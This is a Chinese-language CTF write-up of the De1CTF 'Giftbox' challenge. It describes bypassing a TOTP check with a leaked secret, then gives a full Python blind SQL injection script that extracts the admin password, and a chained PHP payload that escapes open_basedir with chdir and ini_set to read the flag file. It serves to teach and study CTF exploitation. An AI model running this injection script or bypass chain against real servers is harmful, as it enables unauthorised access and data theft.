De1CTF-Giftbox题解

De1CTF-Giftbox题解

这次Web题的难度有阶层,SSRF Me是一个验签的绕过调用python的url_open进行ssrf请求、web4是一道n1ctf的原题,也懒得写wp了。还有两道比较难的,一道是ZSX师傅出的calc,统一三个后端的输出结果,过滤了括号。还有一道魔改了ciscn——2019的滑稽云,更改了溢出区的大小+外带结果。

最后就是Giftbox,不得不说,这是我见过最有小情调的ctf题目。做了一个伪unix页面,存在几个bash命令,和一个登陆功能,在登陆处存在sql注入(需要经过双因子认证)。比赛的时候没做出来,趁着赛题没关复现一下(顺便膜爆恩泽师傅orz..)

image_1dhfn1f0b1ogo5fs163rsqk1c0a9.png-979.2kB

双因子认证

这种认证第一次见,其实是调用pyotp模块去验证,随便输入会报错
image_1dhfn759ve4c17uv1eqv1rpq876m.png-203.2kB

既然是前端发送验证请求,那就应该存在发送的ajax请求包。重点在开发者nodets和请求形式。它提示我们后端用了pyotp.zip的库去验证,而且在请求形式中把secret_key给了我们:GAXG24JTMZXGKZBU

image_1dhfn9snj1dtme3d11eea3nm2v13.png-165.3kB

队内师傅提醒说,python3的pyotp模块也可以根据key生成验证
image_1dhfniaosich1f5b1ptm1jk8t4s1g.png-140.6kB

赛后看到天枢的师傅用xhr发送请求,即前端爆破就可以直接调用topt函数,也是种不错的思路,学习了。

接着就是一个简单的注入

注入

脚本如下,空格会导致程序判断为参数分隔符,所以用/**/替代

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import pyotp as pyotp
import string

totp = pyotp.TOTP('GAXG24JTMZXGKZBU', 8, interval=5)


def curl(payload):
    r = requests.post('http://222.85.25.41:8090/shell.php', params={'a': 'login admin\'/**/and/**/(' + payload + ')/**/and/**/\'1\'=\'1 admin', 'totp': totp.now()},
                      data={'dir': '/', 'pos': '/', 'filename': 'usage.md'})
    if 'password' in r.text:
        return True
    else:
        return False


def sqli():
    for i in range(0, 2):
        # db_data = "SELECT/**/table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=\'giftbox\'/**/LIMIT/**/{},1".format(
        #     i)
        # db_data = "SELECT/**/column_name/**/FROM/**/information_schema.columns/**/WHERE/**/table_schema=\'giftbox\'/**/and/**/table_name=\'users\'/**/LIMIT/**/{},1".format(
        #     i)
        db_data = "select/**/password/**/from/**/giftbox.users/**/where/**/username/**/=/**/'admin'/**/limit/**/{},1".format(
            i)
        db_res = ""

        for y in range(1, 64):
            for c in string.printable:
                db_res_payload = "substr((" + db_data + "),%d,1)/**/=/**/'%s'" % (y,c)
                if curl(db_res_payload):
                    db_res += c
                    print("> " + db_res)
                    break
                else:pass
            if db_res == "":
                break


if __name__ == '__main__':
    sqli()

最后注入password字段得到一个hint为hinT{g1ve_u_hi33en_c0mm3nd-sh0w_hiiintttt_23333},登陆成功同时提示

image_1dhi8qiij18ve18991q95u1skfb1m.png-86kB

Bypass open_dir

同时题目存在targeting命令,具体用法如下。结合之前的提示,推测是对每一个target进行一次eval的操作,因为targeting不允许存在双引号,所以用复杂变量${xxx(xxx)}的形式代替

image_1dhic3q29as9fln24sr29vts9.png-411.3kB

但是没有执行到system(whoami),推测是有open_dir,用网上的方法bypass:从PHP底层看open_basedir bypass

最后的payload如下,因为有长度限制,进行变量拼接

targeting a chdir
targeting b css
targeting c {$a($b)}
targeting d ini_set
targeting e open_basedir
targeting f ..
targeting g {$d($e,$f)}
targeting h {$a($f)}
targeting i {$a($f)}
targeting j base64_
targeting k decode
targeting l $j$k
targeting m Ly8v
targeting n {$l($m)}
targeting o {$d($e,$n)}
targeting p print_r
targeting q file_get_
targeting r contents
targeting s $q$r
targeting t flag
targeting u {$p($s($t))}
launch

image_1dhiec48lrbmsku1m3eu9pbjm2p.png-128.9kB

再次膜恩泽师傅..

not found!